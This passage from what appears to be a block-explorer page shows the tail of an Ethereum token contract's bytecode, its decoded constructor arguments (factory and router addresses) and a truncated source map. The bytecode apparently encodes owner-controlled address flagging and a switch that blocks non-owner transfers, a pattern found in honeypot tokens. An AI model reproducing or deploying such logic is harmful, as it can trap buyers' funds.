ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6124eb816123f8565b81146124f657600080fd5b50565b600081359050612508816124e2565b92915050565b6000806040838503121561252557612524612237565b5b60006125338582860161225d565b9250506020612544858286016124f9565b9150509250929050565b60008060006060848603121561256757612566612237565b5b6000612575868287016123a3565b93505060206125868682870161225d565b92505060406125978682870161225d565b9150509250925092565b6000602082840312156125b7576125b6612237565b5b60006125c5848285016123a3565b91505092915050565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006127f3601f836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b600061285f601d836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c870bf3a061922bb4bc8fa7d10f9bdd7d9805e5e95fc8cd8fd53d6fee17acf8064736f6c63430008080033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : unif (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : unir (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
6094:9919:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9498:346;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7569:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8312:147;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14203:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7810:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8465:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10224:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7731:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8766:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9850:368;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9237:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7901:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5957:134;;;:::i;:::-;;5817;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13760:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14065:132;;;:::i;:::-;;5653:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7648:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8976:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8014:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8173:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13961:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13861:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9498:346;9546:14;9563:12;:10;:12::i;:::-;9546:29;;9591:11;:19;9603:6;9591:19;;;;;;;;;;;;;;;;;;;;;;;;;9590:20;9582:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;9667:15;9690:19;9701:7;9690:10;:19::i;:::-;9666:43;;;;;;9734:28;9754:7;9734;:15;9742:6;9734:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9716:7;:15;9724:6;9716:15;;;;;;;;;;;;;;;:46;;;;9779:20;9791:7;9779;;:11;;:20;;;;:::i;:::-;9769:7;:30;;;;9819:23;9834:7;9819:10;;:14;;:23;;;;:::i;:::-;9806:10;:36;;;;9539:305;;9498:346;:::o;7569:73::-;7606:13;7635:5;7628:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7569:73;:::o;8312:147::-;8387:4;8400:39;8409:12;:10;:12::i;:::-;8423:7;8432:6;8400:8;:39::i;:::-;8453:4;8446:11;;8312:147;;;;:::o;14203:77::-;14247:4;14267:11;;;;;;;;;;;14260:18;;14203:77;:::o;7810:85::-;7863:7;6377:21;7879:14;;7810:85;:::o;8465:295::-;8563:4;8576:36;8586:6;8594:9;8605:6;8576:9;:36::i;:::-;8619:121;8628:6;8636:12;:10;:12::i;:::-;8650:89;8688:6;8650:89;;;;;;;;;;;;;;;;;:11;:19;8662:6;8650:19;;;;;;;;;;;;;;;:33;8670:12;:10;:12::i;:::-;8650:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8619:8;:121::i;:::-;8754:4;8747:11;;8465:295;;;;;:::o;10224:235::-;10290:7;10325;;10314;:18;;10306:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;10386:19;10409:10;:8;:10::i;:::-;10386:33;;10433:24;10445:11;10433:7;:11;;:24;;;;:::i;:::-;10426:31;;;10224:235;;;:::o;7731:73::-;7772:5;7793:9;;;;;;;;;;;7786:16;;7731:73;:::o;8766:204::-;8854:4;8867:83;8876:12;:10;:12::i;:::-;8890:7;8899:50;8938:10;8899:11;:25;8911:12;:10;:12::i;:::-;8899:25;;;;;;;;;;;;;;;:34;8925:7;8899:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8867:8;:83::i;:::-;8964:4;8957:11;;8766:204;;;;:::o;9850:368::-;9940:7;6377:21;9964:7;:18;;9956:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;10030:17;10025:192;;10057:15;10080:19;10091:7;10080:10;:19::i;:::-;10056:43;;;;;;10113:7;10106:14;;;;;10025:192;10137:23;10167:19;10178:7;10167:10;:19::i;:::-;10135:51;;;;;;10200:15;10193:22;;;9850:368;;;;;:::o;9237:255::-;5599:10;5583:26;;:12;;;;;;;;;;;:26;;;5575:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9359:1:::1;9340:21;;:7;:21;;;;9332:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;9436:54;9447:4;9436:54;;;;;;;;;;;;;;;;;:6;:10;;:54;;;;;:::i;:::-;9417:7;:16;9425:7;9417:16;;;;;;;;;;;;;;;:73;;;;9237:255:::0;;;:::o;7901:107::-;7967:7;7990;:16;7998:7;7990:16;;;;;;;;;;;;;;;;7983:23;;7901:107;;;:::o;5957:134::-;5485:12;:10;:12::i;:::-;5475:22;;:6;;;;;;;;;;:22;;;5467:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6060:1:::1;6023:40;;6044:6;::::0;::::1;;;;;;;;6023:40;;;;;;;;;;;;6087:1;6070:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5957:134::o:0;5817:::-;5485:12;:10;:12::i;:::-;5475:22;;:6;;;;;;;;;;:22;;;5467:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5917:1:::1;5893:26;;:12;;;;;;;;;;;:26;;;5884:36;;;::::0;::::1;;5942:7;5927:12;;:22;;;;;;;;;;;;;;;;;;5817:134:::0;:::o;13760:95::-;5599:10;5583:26;;:12;;;;;;;;;;;:26;;;5575:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13849:4:::1;13826:11;:20;13838:7;13826:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;13760:95:::0;:::o;14065:132::-;5599:10;5583:26;;:12;;;;;;;;;;;:26;;;5575:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14141:4:::1;14126:19;;:11;;;;;;;;;;;:19;;;14122:74;;;14162:5;14148:11;;:19;;;;;;;;;;;;;;;;;;14122:74;;;14190:4;14176:11;;:18;;;;;;;;;;;;;;;;;;14122:74;14065:132::o:0;5653:69::-;5691:7;5714:6;;;;;;;;;;;5707:13;;5653:69;:::o;7648:77::-;7687:13;7716:7;7709:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7648:77;:::o;8976:255::-;9069:4;9082:129;9091:12;:10;:12::i;:::-;9105:7;9114:96;9153:15;9114:96;;;;;;;;;;;;;;;;;:11;:25;9126:12;:10;:12::i;:::-;9114:25;;;;;;;;;;;;;;;:34;9140:7;9114:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;9082:8;:129::i;:::-;9225:4;9218:11;;8976:255;;;;:::o;8014:153::-;8092:4;8105:42;8115:12;:10;:12::i;:::-;8129:9;8140:6;8105:9;:42::i;:::-;8161:4;8154:11;;8014:153;;;;:::o;8173:133::-;8254:7;8277:11;:18;8289:5;8277:18;;;;;;;;;;;;;;;:27;8296:7;8277:27;;;;;;;;;;;;;;;;8270:34;;8173:133;;;;:::o;13961:98::-;14017:4;14037:11;:20;14049:7;14037:20;;;;;;;;;;;;;;;;;;;;;;;;;14030:27;;13961:98;;;:::o;13861:94::-;5599:10;5583:26;;:12;;;;;;;;;;;:26;;;5575:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13948:5:::1;13925:11;:20;13937:7;13925:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;13861:94:::0;:::o;2626:122::-;2684:7;2707:39;2711:1;2714;2707:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2700:46;;2626:122;;;;:::o;2104:126::-;2162:7;2185:43;2189:1;2192;2185:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2178:50;;2104:126;;;;:::o;1032:105::-;1085:15;1124:10;1109:26;;1032:105;:::o;14425:389::-;14484:7;14493;14502;14511;14520;14537:23;14562:12;14578:20;14590:7;14578:11;:20::i;:::-;14536:62;;;;14605:19;14628:10;:8;:10::i;:::-;14605:33;;14646:15;14663:23;14688:12;14704:39;14716:7;14725:4;14731:11;14704;:39::i;:::-;14645:98;;;;;;14758:7;14767:15;14784:4;14790:15;14807:4;14750:62;;;;;;;;;;;;;;;;14425:389;;;;;;;:::o;1937:161::-;1995:7;2011:9;2027:1;2023;:5;;;;:::i;:::-;2011:17;;2048:1;2043;:6;;2035:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2095:1;2088:8;;;1937:161;;;;:::o;10465:313::-;10571:1;10554:19;;:5;:19;;;;10546:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10648:1;10629:21;;:7;:21;;;;10621:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10726:6;10696:11;:18;10708:5;10696:18;;;;;;;;;;;;;;;:27;10715:7;10696:27;;;;;;;;;;;;;;;:36;;;;10760:7;10744:32;;10753:5;10744:32;;;10769:6;10744:32;;;;;;:::i;:::-;;;;;;;;10465:313;;;:::o;10784:991::-;10895:1;10877:20;;:6;:20;;;;10869:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10975:1;10954:23;;:9;:23;;;;10946:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11041:1;11032:6;:10;11024:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11099:11;:19;11111:6;11099:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;11122:11;:22;11134:9;11122:22;;;;;;;;;;;;;;;;;;;;;;;;;11099:45;11095:76;;;11165:1;11155:6;:11;11146:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;11095:76;11197:4;11182:19;;:11;;;;;;;;;;;:19;;;:46;;;;11215:13;:11;:13::i;:::-;11205:23;;:6;:23;;;11182:46;:76;;;;11245:13;:11;:13::i;:::-;11232:26;;:9;:26;;;11182:76;11178:596;;;11271:11;:19;11283:6;11271:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;11295:11;:22;11307:9;11295:22;;;;;;;;;;;;;;;;;;;;;;;;;11294:23;11271:46;11267:459;;;11344:69;11364:6;11344:69;;;;;;;;;;;;;;;;;:7;:15;11352:6;11344:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;11326:7;:15;11334:6;11326:15;;;;;;;;;;;;;;;:87;;;;11441:30;11464:6;11441:7;:18;11449:9;11441:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;11420:7;:18;11428:9;11420:18;;;;;;;;;;;;;;;:51;;;;11500:9;11483:35;;11492:6;11483:35;;;11511:6;11483:35;;;;;;:::i;:::-;;;;;;;;11267:459;;;11550:69;11570:6;11550:69;;;;;;;;;;;;;;;;;:7;:15;11558:6;11550:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;11532:7;:15;11540:6;11532:15;;;;;;;;;;;;;;;:87;;;;11647:30;11670:6;11647:7;:18;11655:9;11647:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;11626:7;:18;11634:9;11626:18;;;;;;;;;;;;;;;:51;;;;11706:9;11689:35;;11698:6;11689:35;;;11717:6;11689:35;;;;;;:::i;:::-;;;;;;;;11267:459;11178:596;;;11763:4;11748:19;;:11;;;;;;;;;;;:19;;;11739:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;11178:596;10784:991;;;:::o;2236:172::-;2322:7;2351:1;2346;:6;;2354:12;2338:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2374:9;2390:1;2386;:5;;;;:::i;:::-;2374:17;;2405:1;2398:8;;;2236:172;;;;;:::o;15356:149::-;15397:7;15414:15;15431;15450:19;:17;:19::i;:::-;15413:56;;;;15483:20;15495:7;15483;:11;;:20;;;;:::i;:::-;15476:27;;;;15356:149;:::o;2754:171::-;2840:7;2868:1;2864;:5;2871:12;2856:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2891:9;2907:1;2903;:5;;;;:::i;:::-;2891:17;;2922:1;2915:8;;;2754:171;;;;;:::o;14820:212::-;14880:7;14889;14905:12;14920:23;14941:1;14920:16;14932:3;14920:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;14905:38;;14950:23;14976:17;14988:4;14976:7;:11;;:17;;;;:::i;:::-;14950:43;;15008:15;15025:4;15000:30;;;;;;14820:212;;;:::o;15038:312::-;15133:7;15142;15151;15167:15;15185:24;15197:11;15185:7;:11;;:24;;;;:::i;:::-;15167:42;;15216:12;15231:21;15240:11;15231:4;:8;;:21;;;;:::i;:::-;15216:36;;15259:23;15285:17;15297:4;15285:7;:11;;:17;;;;:::i;:::-;15259:43;;15317:7;15326:15;15343:4;15309:39;;;;;;;;;15038:312;;;;;;;:::o;5728:83::-;5774:7;5797:12;;;;;;;;;;;5790:19;;5728:83;:::o;15511:501::-;15561:7;15570;15586:15;15604:7;;15586:25;;15618:15;6377:21;15618:25;;15661:9;15656:255;15680:9;:16;;;;15676:1;:20;15656:255;;;15738:7;15714;:21;15722:9;15732:1;15722:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15714:21;;;;;;;;;;;;;;;;:31;:66;;;;15773:7;15749;:21;15757:9;15767:1;15757:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15749:21;;;;;;;;;;;;;;;;:31;15714:66;15710:97;;;15790:7;;6377:21;15782:25;;;;;;;;;15710:97;15824:34;15836:7;:21;15844:9;15854:1;15844:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15836:21;;;;;;;;;;;;;;;;15824:7;:11;;:34;;;;:::i;:::-;15814:44;;15875:34;15887:7;:21;15895:9;15905:1;15895:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15887:21;;;;;;;;;;;;;;;;15875:7;:11;;:34;;;;:::i;:::-;15865:44;;15698:3;;;;;:::i;:::-;;;;15656:255;;;;15931:20;6377:21;15931:7;;:11;;:20;;;;:::i;:::-;15921:7;:30;15917:61;;;15961:7;;6377:21;15953:25;;;;;;;;15917:61;15993:7;16002;15985:25;;;;;;15511:501;;;:::o;2414:206::-;2472:7;2497:1;2492;:6;2488:29;;;2514:1;2507:8;;;;2488:29;2523:9;2539:1;2535;:5;;;;:::i;:::-;2523:17;;2564:1;2559;2555;:5;;;;:::i;:::-;:10;2547:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2617:1;2610:8;;;2414:206;;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105:4;5143:2;5132:9;5128:18;5120:26;;5156:67;5220:1;5209:9;5205:17;5196:6;5156:67;:::i;:::-;5016:214;;;;:::o;5236:116::-;5306:21;5321:5;5306:21;:::i;:::-;5299:5;5296:32;5286:60;;5342:1;5339;5332:12;5286:60;5236:116;:::o;5358:133::-;5401:5;5439:6;5426:20;5417:29;;5455:30;5479:5;5455:30;:::i;:::-;5358:133;;;;:::o;5497:468::-;5562:6;5570;5619:2;5607:9;5598:7;5594:23;5590:32;5587:119;;;5625:79;;:::i;:::-;5587:119;5745:1;5770:53;5815:7;5806:6;5795: